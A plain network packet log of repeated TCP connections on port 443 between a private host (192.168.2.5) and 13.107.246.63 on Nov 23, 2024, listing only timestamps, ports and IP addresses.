Nov 23, 2024 15:38:11.915359020 CET	49885	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.915378094 CET	443	49885	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.915827036 CET	49885	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.915843964 CET	443	49885	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.337980986 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.338604927 CET	49886	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.338670015 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.339241028 CET	49886	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.339256048 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.365797997 CET	443	49885	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.368828058 CET	443	49885	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.368925095 CET	49885	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.368966103 CET	49885	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.368983984 CET	443	49885	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.368998051 CET	49885	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.369004965 CET	443	49885	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.371982098 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.372011900 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.372096062 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.372289896 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.372313976 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.790231943 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.790312052 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.790385962 CET	49886	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.790431023 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.790466070 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.790537119 CET	49886	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.794100046 CET	49886	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.794131041 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.794183969 CET	49886	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.794199944 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.797621965 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.797655106 CET	443	49891	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:12.797755957 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.797904968 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:12.797921896 CET	443	49891	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.094911098 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.095798969 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.095822096 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.096487999 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.096496105 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.528033972 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.531193018 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.531287909 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.531358957 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.531374931 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.531388044 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.531394958 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.534229040 CET	49892	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.534265995 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.534373999 CET	49892	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.534524918 CET	49892	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.534540892 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.573853016 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.574326992 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.574345112 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.574837923 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.574846029 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.954317093 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.954839945 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.954849958 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:13.955329895 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:13.955334902 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.020246983 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.022481918 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.022550106 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.022661924 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.022763968 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.022763968 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.022787094 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.022799015 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.025850058 CET	49893	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.025891066 CET	443	49893	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.025973082 CET	49893	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.026155949 CET	49893	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.026169062 CET	443	49893	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.163969040 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.164501905 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.164520025 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.165010929 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.165016890 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.387659073 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.390846968 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.390954971 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.390954971 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.390979052 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.390991926 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.393987894 CET	49894	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.394009113 CET	443	49894	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.394095898 CET	49894	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.394268036 CET	49894	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.394282103 CET	443	49894	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.519042969 CET	443	49891	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.519553900 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.519562960 CET	443	49891	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.519994020 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.519998074 CET	443	49891	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.608428001 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.611803055 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.611888885 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.611974955 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.611974955 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.611999989 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.612013102 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.614721060 CET	49895	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.614763975 CET	443	49895	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.614842892 CET	49895	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.614998102 CET	49895	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.615014076 CET	443	49895	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.952637911 CET	443	49891	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.956077099 CET	443	49891	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.956212997 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.956212997 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.956321001 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.956338882 CET	443	49891	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.958875895 CET	49896	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.958930969 CET	443	49896	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:14.959029913 CET	49896	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.959180117 CET	49896	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:14.959208012 CET	443	49896	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.324719906 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.325308084 CET	49892	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.325335979 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.325814962 CET	49892	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.325823069 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.753706932 CET	443	49893	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.754484892 CET	49893	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.754506111 CET	443	49893	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.754966974 CET	49893	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.754972935 CET	443	49893	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.767981052 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.771065950 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.771156073 CET	49892	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.771176100 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.771198034 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.771250963 CET	49892	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.771289110 CET	49892	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.771322966 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.771341085 CET	49892	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.771349907 CET	443	49892	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.774338961 CET	49897	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.774398088 CET	443	49897	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:15.774471998 CET	49897	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.774640083 CET	49897	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:15.774656057 CET	443	49897	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.180476904 CET	443	49894	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.181340933 CET	49894	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.181360006 CET	443	49894	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.181843996 CET	49894	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.181849957 CET	443	49894	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.192958117 CET	443	49893	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.194327116 CET	443	49893	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.194403887 CET	49893	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.203797102 CET	49893	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.203814030 CET	443	49893	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.203828096 CET	49893	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.203835964 CET	443	49893	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.207525969 CET	49898	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.207587957 CET	443	49898	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.207659960 CET	49898	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.207961082 CET	49898	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.207978010 CET	443	49898	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.401346922 CET	443	49895	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.401901007 CET	49895	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.401916027 CET	443	49895	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.402395964 CET	49895	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.402400017 CET	443	49895	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.624295950 CET	443	49894	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.627798080 CET	443	49894	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.627876043 CET	49894	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.627938032 CET	49894	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.627948999 CET	443	49894	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.627963066 CET	49894	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.627969980 CET	443	49894	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.630991936 CET	49899	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.631043911 CET	443	49899	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.631118059 CET	49899	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.631268024 CET	49899	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.631284952 CET	443	49899	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.757592916 CET	443	49896	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.758147001 CET	49896	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.758173943 CET	443	49896	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.758646011 CET	49896	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.758652925 CET	443	49896	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.879673004 CET	443	49895	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.883351088 CET	443	49895	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.883440018 CET	49895	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.887132883 CET	49895	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.887144089 CET	443	49895	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.887164116 CET	49895	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.887168884 CET	443	49895	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.891021013 CET	49900	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.891115904 CET	443	49900	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:16.891218901 CET	49900	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.891379118 CET	49900	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:16.891402006 CET	443	49900	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:17.207865953 CET	443	49896	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:17.211101055 CET	443	49896	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:17.211198092 CET	49896	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:17.211216927 CET	443	49896	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:17.211276054 CET	49896	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:17.211349010 CET	49896	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:17.211373091 CET	443	49896	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:17.211384058 CET	49896	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:17.211390018 CET	443	49896	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:17.214395046 CET	49901	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:17.214423895 CET	443	49901	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:17.214528084 CET	49901	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:17.214680910 CET	49901	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:17.214690924 CET	443	49901	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:17.627952099 CET	443	49897	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:17.628473997 CET	49897	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:17.628505945 CET	443	49897	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:17.628962994 CET	49897	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:17.628973007 CET	443	49897	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.054183960 CET	443	49898	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.076344967 CET	49898	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.076375008 CET	443	49898	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.076877117 CET	49898	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.076884031 CET	443	49898	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.087295055 CET	443	49897	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.090212107 CET	443	49897	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.090387106 CET	49897	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.101409912 CET	49897	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.101411104 CET	49897	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.101437092 CET	443	49897	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.101449966 CET	443	49897	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.104635000 CET	49902	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.104700089 CET	443	49902	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.104779959 CET	49902	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.104948997 CET	49902	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.104968071 CET	443	49902	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.354165077 CET	443	49899	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.363193989 CET	49899	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.363229036 CET	443	49899	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.363701105 CET	49899	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.363708019 CET	443	49899	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.506994009 CET	443	49898	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.510082006 CET	443	49898	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.510171890 CET	49898	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.510255098 CET	49898	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.510267019 CET	443	49898	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.510277987 CET	49898	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.510282993 CET	443	49898	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.513330936 CET	49903	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.513374090 CET	443	49903	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.513453960 CET	49903	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.513628006 CET	49903	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.513639927 CET	443	49903	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.682192087 CET	443	49900	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.682750940 CET	49900	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.682780981 CET	443	49900	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.683346987 CET	49900	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.683353901 CET	443	49900	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.748950958 CET	443	49901	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.749465942 CET	49901	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.749485970 CET	443	49901	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.750078917 CET	49901	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.750088930 CET	443	49901	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.796611071 CET	443	49899	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.796771049 CET	443	49899	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.796834946 CET	49899	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.797089100 CET	49899	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.797111988 CET	443	49899	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.797127008 CET	49899	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.797136068 CET	443	49899	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.800755978 CET	49904	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.800780058 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:18.800852060 CET	49904	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.800980091 CET	49904	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:18.800995111 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.129864931 CET	443	49900	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.133428097 CET	443	49900	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.133486032 CET	443	49900	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.133496046 CET	49900	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.133548021 CET	49900	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.133599997 CET	49900	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.133615017 CET	443	49900	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.133625984 CET	49900	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.133630037 CET	443	49900	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.136614084 CET	49905	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.136670113 CET	443	49905	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.136745930 CET	49905	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.136893988 CET	49905	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.136904001 CET	443	49905	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.189590931 CET	443	49901	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.192682028 CET	443	49901	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.192770004 CET	49901	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.192817926 CET	49901	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.192836046 CET	443	49901	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.192845106 CET	49901	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.192850113 CET	443	49901	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.195868969 CET	49906	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.195904970 CET	443	49906	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.195995092 CET	49906	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.196142912 CET	49906	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.196156979 CET	443	49906	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.889472008 CET	443	49902	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.890121937 CET	49902	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.890139103 CET	443	49902	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:19.890680075 CET	49902	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:19.890687943 CET	443	49902	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.241887093 CET	443	49903	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.243120909 CET	49903	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.243156910 CET	443	49903	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.243629932 CET	49903	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.243637085 CET	443	49903	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.333275080 CET	443	49902	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.336272955 CET	443	49902	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.336364031 CET	49902	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.336654902 CET	49902	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.336668015 CET	443	49902	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.336678982 CET	49902	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.336684942 CET	443	49902	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.340224028 CET	49907	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.340267897 CET	443	49907	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.340353966 CET	49907	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.340512037 CET	49907	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.340523005 CET	443	49907	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.541138887 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.543853998 CET	49904	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.543870926 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.544370890 CET	49904	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.544377089 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.819150925 CET	443	49903	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.822415113 CET	443	49903	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.822496891 CET	49903	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.928109884 CET	443	49905	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.975644112 CET	49905	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.978009939 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.978079081 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.978132010 CET	49904	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.978157997 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.978245020 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:20.978295088 CET	49904	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:20.980806112 CET	443	49906	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.022530079 CET	49906	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.049854994 CET	49906	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.049865007 CET	443	49906	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.050352097 CET	49906	443	192.168.2.5	13.107.246.63
